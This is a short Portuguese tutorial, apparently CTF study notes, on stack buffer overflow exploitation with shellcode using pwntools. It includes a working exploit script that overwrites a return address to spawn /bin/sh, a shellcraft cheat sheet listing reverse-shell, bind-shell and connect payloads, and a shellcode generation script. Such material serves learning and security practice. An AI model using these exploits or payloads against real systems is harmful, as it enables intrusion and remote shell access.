Buffer Overflow - Shellcode
Shellcode é código assembly. É pequeno. A ideia é colocar na stack, colocar o endereço do início do Shellcode no return address e mandar a RIP pra lá.
- Identifique se é possível fazer BOF
- Coloque o Shellcode no Input + Padding até
return address+ Endereço do início do Shellcode na stack - Sim, acabamos de mandar o
RIPexecutar instrução na stack.
Exemplo com pwntools, abrindo uma shell (shellcraft.sh()):
from pwn import *
context.binary = ELF('./program')
p = process()
payload = asm(shellcraft.sh()) # Shellcode
payload = payload.ljust(312, b'A') # Padding
payload += p32(0xffffcfb4) # Endereço do Shellcode
log.info(p.clean())
p.sendline(payload)
p.interactive()
ShellCode + pwntools
# Shellcodes prontos populares
shellcraft.sh() # /bin/sh
shellcraft.cat('file') # cat file
shellcraft.dupsh() # Duplica shell para fd
shellcraft.echo('text') # Imprime texto
shellcraft.exit() # Sai do processo
shellcraft.findpeersh() # Encontra peer shell
# Redes
shellcraft.connect('ip', port)
shellcraft.bindsh(port)
shellcraft.reverse('ip', port)
# Sistema de arquivos
shellcraft.getdents(fd)
shellcraft.getcwd()
Exemplo:
#!/usr/bin/env python3
from pwn import *
# Configurar
context.binary = ELF('./program')
p = process()
print("Gerando shellcode /bin/sh...")
# Gerar shellcode
shellcode = asm(shellcraft.sh())
print(f"Shellcode: {len(shellcode)} bytes")
print(hexdump(shellcode))
# Disassemblar para ver as instruções
print("\\nInstruções Assembly:")
print(disasm(shellcode))
# Testar (opcional - descomente para executar)
# print("\\n🚀 Executando shellcode...")
# p = run_shellcode(shellcode)
# p.interactive()